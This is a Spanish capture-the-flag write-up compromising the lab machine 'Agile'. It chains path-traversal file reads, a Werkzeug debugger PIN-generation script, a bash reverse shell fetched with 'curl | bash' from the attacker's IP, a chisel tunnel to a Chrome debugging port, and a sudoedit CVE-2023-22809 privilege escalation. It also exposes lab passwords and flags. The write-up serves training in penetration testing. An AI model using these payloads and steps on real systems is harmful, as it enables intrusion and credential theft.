
Conocimientos
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.203 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-11 17:40 GMT
Nmap scan report for 10.10.11.203
Host is up (0.091s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Nmap done: 1 IP address (1 host up) scanned in 14.00 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80 10.10.11.203 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-11 17:41 GMT
Nmap scan report for 10.10.11.203
Host is up (0.084s latency).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds
Añado el dominio superpass.htb al /etc/hosts
Puerto 80 (HTTP)
Con whatweb analizo las tecnologías que emplea el servidor web
whatweb http://10.10.11.203
http://10.10.11.203 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.203], RedirectLocation[http://superpass.htb], Title[301 Moved Permanently], nginx[1.18.0]
http://superpass.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.203], JQuery, Script, Title[SuperPassword 🦸], nginx[1.18.0]
La página principal se ve así:

Creo una cuenta

Puedo añadir contraseñas y exportarlas a un archivo que se descarga en mi equipo

Intercepto la petición con BurpSuite, y veo que se aplica un redirect a un parámetro que es vulnerable a LFI
GET /download?fn=rubbx_export_222fa488a7.csv HTTP/1.1
Obtengo el archivo /etc/passwd
GET /download?fn=../etc/passwd HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 11 Aug 2023 17:51:46 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 1744
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false
Al producir un error se puede acceder al modo de depuración de WerkZeug, pero es necesario un PIN del cual no dispongo

En Hacktricks explican una forma de como generarlo a partir de archivos de la máquina. Listo las variables de entorno para ver quien está ejecutando el servicio
GET /download?fn=../proc/self/environ HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 09:30:40 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 260
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie
LANG=C.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binHOME=/var/wwwLOGNAME=www-dataUSER=www-dataINVOCATION_ID=b60052b6f23e4edb83976411c92b14ceJOURNAL_STREAM=8:33082SYSTEMD_EXEC_PID=1074CONFIG_PATH=/app/config_prod.json
El archivo principal con su directorio se puede ver que es flask/app.py y el nombre del servicio wsgi_app en el error

También me tengo que quedar con la ruta absoluta /app/venv/lib/python3.10/site-packages/flask/app.py. Y, por último, los private bits. Con el /proc/net/arp puedo ver el nombre de la interfaz de red
GET /download?fn=../proc/net/arp HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 09:40:37 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 156
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie
IP address       HW type     Flags       HW address            Mask     Device
10.10.10.2       0x1         0x2         00:50:56:b9:75:02     *        eth0
Obtengo la dirección MAC
GET /download?fn=../sys/class/net/eth0/address HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 09:41:58 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 18
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie
00:50:56:b9:0c:28
La transformo a decimal con python
python3
Python 3.11.4 (main, Jun  7 2023, 10:13:09) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x005056b970d0)
345052377296
Me traigo el /etc/machineid
GET /download?fn=../etc/machine-id HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 09:47:32 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 37
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie
ed5b159560f54721827644bc9b220d00
Y el /proc/self/cgroup
GET /download?fn=../proc/self/cgroup HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 09:51:07 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 35
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie
0::/system.slice/superpass.service
El script final quedaría así:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain
probably_public_bits = [
    'www-data',# username
    'flask.app',# modname
    'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
    '345052377296',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(), /etc/machine-id
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)
Genero el pin y lo introduzco en el debugger
python3 generate_pin.py
101-245-952
Puedo ejecutar comandos como www-data

Creo un archivo index.html que se encargue de enviarme una reverse shell
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.63/443 0>&1'
Lo comparto con un servicio HTTP con python
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.203 - - [12/Aug/2023 10:05:48] "GET / HTTP/1.1" 200 -
Ejecuto e interpreto con bash
os.popen("curl 10.10.16.63 | bash").read()
Gano acceso al sistema
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.63] from (UNKNOWN) [10.10.11.203] 47258
bash: cannot set terminal process group (1073): Inappropriate ioctl for device
bash: no job control in this shell
(venv) www-data@agile:/app/app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<pp$ python3 -c 'import pty; pty.spawn("/bin/bash")'
(venv) www-data@agile:/app/app$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
(venv) www-data@agile:/app/app$ export TERM=xterm-color
(venv) www-data@agile:/app/app$ export SHELL=bash
(venv) www-data@agile:/app/app$ stty rows 55 columns 209
(venv) www-data@agile:/app/app$ source /etc/skel/.bashrc 
www-data@agile:/app/app$ 
Se puede ver un archivo con credenciales de acceso a la base de datos
www-data@agile:/app$ cat config_prod.json 
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
Me conecto
www-data@agile:/app$ mysql -usuperpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 24
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> 
Obtengo credenciales
mysql> select username,password from passwords;
+----------+----------------------+
| username | password             |
+----------+----------------------+
| 0xdf     | 762b430d32eea2f12970 |
| 0xdf     | 5b133f7a6a1c180646cb |
| corum    | 47ed1e73c955de230a1d |
| corum    | 9799588839ed0f98c211 |
| corum    | 5db7caa1d13cc37c9fc2 |
+----------+----------------------+
5 rows in set (0.00 sec)
Gano acceso como corum con la contraseña 5db7caa1d13cc37c9fc2. Puedo ver la primera flag
www-data@agile:/app$ su corum
Password: 
corum@agile:/app$ cd
corum@agile:~$ cat user.txt 
92e00e36d6c842fab3a31771b83ce5e7
Se está ejecutando un servicio web bajo el subdomino test.superpass.htb
corum@agile:~$ cat /etc/nginx/sites-enabled/superpass-test.nginx 
server {
    listen 127.0.0.1:80;
    server_name test.superpass.htb;
    location /static {
        alias /app/app-testing/superpass/static;
        expires 365d;
    }
    location / {
        include uwsgi_params;
        proxy_pass http://127.0.0.1:5555;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Protocol $scheme;
    }
}
Dentro de /app/app-testing/tests/functional se encuentra un script en python que en el panel de ayuda, se muestra un puerto destinado a debbugging
options.add_argument("--remote-debugging-port=41829")
Está abierto internamente
corum@agile:/app/app-testing/tests/functional$ ss -nltp | grep 41829
LISTEN 0      10         127.0.0.1:41829      0.0.0.0:*  
Varios procesos lo están utilizando
corum@agile:/app/app-testing/tests/functional$ ps -faux | grep 41829
runner      2281  0.1  2.5 34015196 103524 ?     Sl   10:30   0:00                      \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.gp7EMf --window-size=1420,1080 data:,
runner      2344  0.3  3.9 1184764352 159100 ?   Sl   10:30   0:01                          |       \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=2288 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1691834131102527 --launch-time-ticks=2071689208 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,16535539327393366571,794766477956318211,131072 --disable-features=PaintHolding
corum       2440  0.0  0.0   4020  2180 pts/0    S+   10:35   0:00      |                               \_ grep --color=auto 41829
Utilizo chisel para aplicar Remote Port Forwarding. Desde mi equipo lo ejecuto como servidor
chisel server -p 1234 --reverse
En la máquina víctima me conecto como cliente
corum@agile:/tmp$ ./chisel client 10.10.16.63:1234 R:41829:127.0.0.1:41829 &>/dev/null & disown
Desde Chromium, añado este nuevo debbugger, introduciendo como url la ruta chrome://inspect


Aparecerá lo siguiente:

Al inspeccionarlo, se ven dos cookies de sesión, lo que significa que otro usuario está loggeado

En /vault están almacenadas dos contraseñas. Una de ellas, d07867c6267dcb5df0af corresponde al usuario edwards a nivel de sistema
corum@agile:/tmp$ su edwards
Password: 
edwards@agile:/tmp
Tengo varios privilegios a nivel de sudoers
edwards@agile:/home$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
La versión de sudoedit es vulnerable al CVE-2023-22809
edwards@agile:/tmp$ sudoedit -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
Modifico el /app/venv/bin/activate, a través del /app/config_test.json, que permite en el sudoers para que la próxima vez que se logué el usuario root, asigne a la bash el privilegio SUID
edwards@agile:/$ find \-group dev_admin 2>/dev/null 
./home/dev_admin
./app/venv
./app/venv/bin
./app/venv/bin/activate
./app/venv/bin/Activate.ps1
./app/venv/bin/activate.fish
./app/venv/bin/activate.csh
edwards@agile:/$ find \-user dev_admin 2>/dev/null 
./home/dev_admin
./app/app-testing/tests/functional/creds.txt
./app/config_test.json
./app/config_prod.json
Puedo ver la segunda flag
edwards@agile:/$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
edwards@agile:/$ bash -p
edwards@agile:/# cat /root/root.txt 
d4bd3231862f25acf2f5db8af092bc3d